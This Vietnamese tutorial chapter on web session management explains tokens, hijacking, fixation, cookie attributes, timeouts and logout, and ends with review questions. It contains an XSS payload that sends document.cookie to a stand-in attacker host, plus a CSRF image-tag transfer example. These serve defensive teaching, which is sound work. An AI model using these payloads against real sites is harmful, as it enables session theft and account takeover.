Skip to main content

Chương 5: Session Management — Quản lý phiên

Khái niệm

HTTP là stateless — server không nhớ ai đã đăng nhập. Session là cơ chế tạo ra "trạng thái" giữa các requests. Sau khi login, server tạo một session token (mã phiên), gửi về client qua cookie, và dùng token đó để xác định người dùng trong các request tiếp theo.

Mức độ nguy hiểm: Cao — Đánh cắp session = chiếm quyền tài khoản mà không cần password.


Cách hoạt động

1. User POST /login với credentials
2. Server xác thực, tạo session:
session_id = generate_random_token()
store_in_db(session_id, user_id, expires_at)
3. Server gửi cookie:
Set-Cookie: session=session_id; HttpOnly; Secure; SameSite=Strict
4. Các request tiếp theo:
Cookie: session=session_id
Server lookup session_id trong DB → biết đây là user nào

Session Token — Yêu cầu bảo mật

Một session token tốt phải đảm bảo:

  • Entropy cao: Ít nhất 128 bits random, không đoán được
  • Unique: Không bao giờ reuse
  • Không chứa thông tin: Không encode user_id vào token
  • Có expiry: Tự hết hạn sau thời gian nhất định
  • Invalidated khi logout: Xóa ở server-side

Ví dụ token xấu:

session=user_id_1337 ← chứa user ID
session=1609459200_admin ← timestamp + username
session=e10adc3949ba59abbe56e057f20f883e ← MD5 của password
session=00001338 ← sequential, predictable

Ví dụ token tốt:

session=kX9mP2nQ4rT7vY1zA3bC6eF8hJ0lM5oR ← 32 bytes random

Các loại tấn công Session

1. Session Hijacking (Đánh cắp phiên)

Hacker đánh cắp session token của người dùng hợp lệ.

Cách đánh cắp:

a. XSS: Inject script để đọc cookie
document.cookie → lấy session token
(Ngăn chặn bằng HttpOnly)

b. Network sniffing: Đọc traffic qua HTTP (không HTTPS)
(Ngăn chặn bằng Secure cookie + HTTPS)

c. Log files: Token trong URL bị log
GET /app?session=abc123
→ Apache/Nginx log lưu token trong plaintext
(Ngăn chặn bằng không để token trong URL)

d. Man-in-the-Middle: Intercept traffic
(Ngăn chặn bằng HTTPS + HSTS)

2. Session Fixation (Cố định phiên)

Hacker ép victim dùng session token do hacker kiểm soát.

Kịch bản:
1. Hacker tạo session: GET /login → session=HACKER_TOKEN
2. Hacker gửi link cho victim:
https://example.com/login?session=HACKER_TOKEN
3. Victim đăng nhập với token đó
4. Server upgrade token nhưng KHÔNG đổi session ID
→ Hacker và victim dùng cùng session ID
5. Hacker dùng HACKER_TOKEN → đã có quyền của victim

Phòng chống: Luôn tạo session ID mới sau khi login thành công.

def login():
if verify_credentials(username, password):
# Xóa session cũ, tạo session mới
session.clear()
new_session_id = generate_secure_token()
session['user_id'] = user.id
# Flask tự động gán session ID mới
return redirect('/dashboard')

3. Weak Session Tokens — Token Yếu

Sequential tokens:

User 1: session=1000
User 2: session=1001
User 3: session=1002
→ Hacker có session=1001, thử 1000, 1002, 1003...

Predictable tokens:

# SAI: dùng timestamp làm token
import time
token = str(int(time.time())) # "1609459200" → predictable

# ĐÚNG: dùng secrets module
import secrets
token = secrets.token_hex(32) # 64-char hex string, 256-bit entropy

PHP session weakness:

// PHP's session_id() dùng MD5(IP + timestamp) trong phiên bản cũ
// → predictable nếu biết IP và thời gian login

// Dùng session_regenerate_id(true) sau login
session_start();
if (login_success) {
session_regenerate_id(true); // Tạo ID mới, xóa ID cũ
$_SESSION['user_id'] = $user_id;
}
// Payload XSS để đánh cắp cookie
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// Nếu HttpOnly: cookie không đọc được
// Nhưng CSRF vẫn hoạt động vì browser tự gửi cookie

5. CSRF — Liên quan Session

CSRF lợi dụng việc browser tự động gửi cookie trong mọi request. Chi tiết ở Chương 10.


HttpOnly

Set-Cookie: session=abc123; HttpOnly
  • JavaScript không đọc được cookie (document.cookie không trả về)
  • Ngăn XSS đánh cắp session cookie
  • Cookie vẫn tự động gửi kèm request

Secure

Set-Cookie: session=abc123; Secure
  • Cookie chỉ gửi qua HTTPS
  • Nếu user truy cập qua HTTP (bị redirect), cookie không bị gửi
  • Phòng chống MITM và network sniffing

SameSite

Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure
Giá trịCookie gửi khiUse case
StrictChỉ same-site requestsBảo mật cao nhất, UX hạn chế
LaxSame-site + top-level navigationCân bằng UX và security
NoneTất cả (kể cả cross-site)Third-party cookies, cần Secure

SameSite=Lax và CSRF:

Với SameSite=Lax, cookie gửi khi:
✓ User click link: <a href="https://bank.com/transfer"> → cookie gửi
✓ Top-level navigation

Nhưng KHÔNG gửi khi:
✗ Cross-site POST form
✗ Fetch/XHR requests
✗ Iframe loads

→ Chống được CSRF qua hidden form, nhưng không chống được qua link click

Domain và Path

Set-Cookie: session=abc123; Domain=.example.com; Path=/
  • Domain=.example.com: cookie áp dụng cho tất cả subdomain
  • Path=/: cookie gửi cho tất cả paths
  • Nếu không set Domain: chỉ áp dụng cho domain hiện tại (an toàn hơn)

Session Timeout và Invalidation

Absolute Timeout

Session hết hạn sau thời gian tuyệt đối, dù user đang active:

SESSION_LIFETIME = 3600 # 1 giờ
session['created_at'] = time.time()

def check_session():
if time.time() - session['created_at'] > SESSION_LIFETIME:
session.clear()
return False
return True

Idle Timeout

Session hết hạn sau thời gian không hoạt động:

SESSION_IDLE_TIMEOUT = 900 # 15 phút

def update_activity():
session['last_active'] = time.time()

def check_idle():
if time.time() - session.get('last_active', 0) > SESSION_IDLE_TIMEOUT:
session.clear()
return False
return True

Logout đúng cách

# SAI: chỉ xóa cookie phía client
def logout():
response = redirect('/login')
response.delete_cookie('session') # Cookie bị xóa ở browser
return response # Nhưng server-side session vẫn valid!

# ĐÚNG: xóa cả server-side session
def logout():
session_id = request.cookies.get('session')
if session_id:
delete_session_from_db(session_id) # Xóa server-side
session.clear()
response = redirect('/login')
response.delete_cookie('session')
return response

JWT vs. Server-Side Sessions

Đặc điểmServer-Side SessionJWT
Lưu trữServer (DB/Redis)Client (cookie/localStorage)
InvalidationDễ (xóa từ DB)Khó (cần blacklist)
ScalabilityCần shared storageStateless
SecurityPhụ thuộc vào tokenPhụ thuộc vào signature
SizeToken nhỏ (ID only)Token lớn (chứa payload)

JWT có nhiều gotchas về security — xem Chương 8.


Ví dụ thực tế: Phân tích session security

# Kiểm tra cookie attributes qua curl
curl -I https://example.com/login -c cookies.txt

# Response headers:
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Lax

# Kiểm tra:
# ✓ HttpOnly - XSS không đánh cắp được
# ✓ Secure - chỉ HTTPS
# ✓ SameSite=Lax - giảm CSRF risk
# ✗ Không có Expires - session cookie, xóa khi đóng tab
# ✗ Không có Max-Age - không có idle timeout ở cookie level

Kịch bản tấn công: Session Riding

1. Victim đăng nhập bank.com → có cookie: session=VICTIM_TOKEN
2. Victim vào một trang web độc hại
3. Trang độc hại có:
<img src="https://bank.com/api/transfer?to=hacker&amount=1000">
4. Browser tự động gửi request với VICTIM_TOKEN
5. Bank không có CSRF protection → transfer thành công

Nếu cookie có SameSite=Strict:
→ Browser không gửi cookie với cross-site img load
→ Transfer thất bại → hacker thất bại

Cách phát hiện

□ Session token predictable hoặc sequential
□ Session token không thay đổi sau login (session fixation risk)
□ Session token không thay đổi sau privilege escalation
□ Cookie thiếu HttpOnly → test: document.cookie trong console
□ Cookie thiếu Secure → test qua HTTP
□ Cookie không có SameSite → CSRF risk cao
□ Logout không invalidate server-side session
□ Session không expire sau idle period
□ Multiple sessions allowed cùng lúc (không có concurrent session control)

Phòng chống — Checklist

# 1. Generate cryptographically random token
import secrets
session_id = secrets.token_urlsafe(32)

# 2. Set cookie attributes đầy đủ
response.set_cookie(
'session',
session_id,
httponly=True,
secure=True,
samesite='Strict',
max_age=3600,
path='/'
)

# 3. Regenerate session ID sau login
def after_login(user):
old_data = dict(session)
session.clear()
session.regenerate() # Tạo ID mới
session.update(old_data)
session['user_id'] = user.id

# 4. Invalidate server-side khi logout
def logout():
db.sessions.delete(session.id)
session.clear()

# 5. Check session validity mỗi request
def before_request():
session_id = request.cookies.get('session')
if not db.sessions.get(session_id):
abort(401)

Góc nhìn DevOps

Redis-backed sessions (scalable):

# Flask-Session với Redis backend
from flask_session import Session
import redis

app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = redis.from_url('redis://redis:6379')
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)
Session(app)

Kubernetes: Session affinity khi cần:

# Ingress với session affinity (chỉ khi dùng server-side session)
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
nginx.ingress.kubernetes.io/affinity: "cookie"
nginx.ingress.kubernetes.io/session-cookie-name: "INGRESSCOOKIE"
nginx.ingress.kubernetes.io/session-cookie-max-age: "3600"

Logging và monitoring:

Log các sự kiện:
- Login thành công/thất bại (với IP, user-agent)
- Logout
- Session expiry
- Cùng session từ nhiều IP khác nhau → suspicious
- Nhiều sessions của một user cùng lúc → suspicious

Alert khi:
- Session từ IP mới sau login → account takeover attempt
- Login từ geo-location khác trong thời gian ngắn → impossible travel

Tóm tắt

  • Session là cầu nối giữa stateless HTTP và stateful application.
  • Session token phải: random, có entropy cao, unique, có expiry, invalidated khi logout.
  • HttpOnly ngăn XSS đọc cookie; Secure ngăn sniffing; SameSite ngăn CSRF.
  • Session fixation: luôn tạo session ID mới sau login.
  • Server-side invalidation khi logout — không chỉ xóa cookie phía client.
  • Idle timeout và absolute timeout đều cần thiết.
  • Dùng Redis cho session storage trong môi trường distributed.

Câu hỏi ôn tập

  1. Sự khác nhau giữa session hijacking và session fixation là gì?
  2. Tại sao logout() chỉ xóa cookie phía client là không đủ?
  3. Cookie SameSite=Lax bảo vệ khỏi CSRF như thế nào? Và không bảo vệ khỏi gì?
  4. Khi nào nên dùng server-side sessions thay vì JWT? Trade-off là gì?
  5. Làm thế nào để phát hiện session từ IP "không thể xảy ra" (impossible travel)?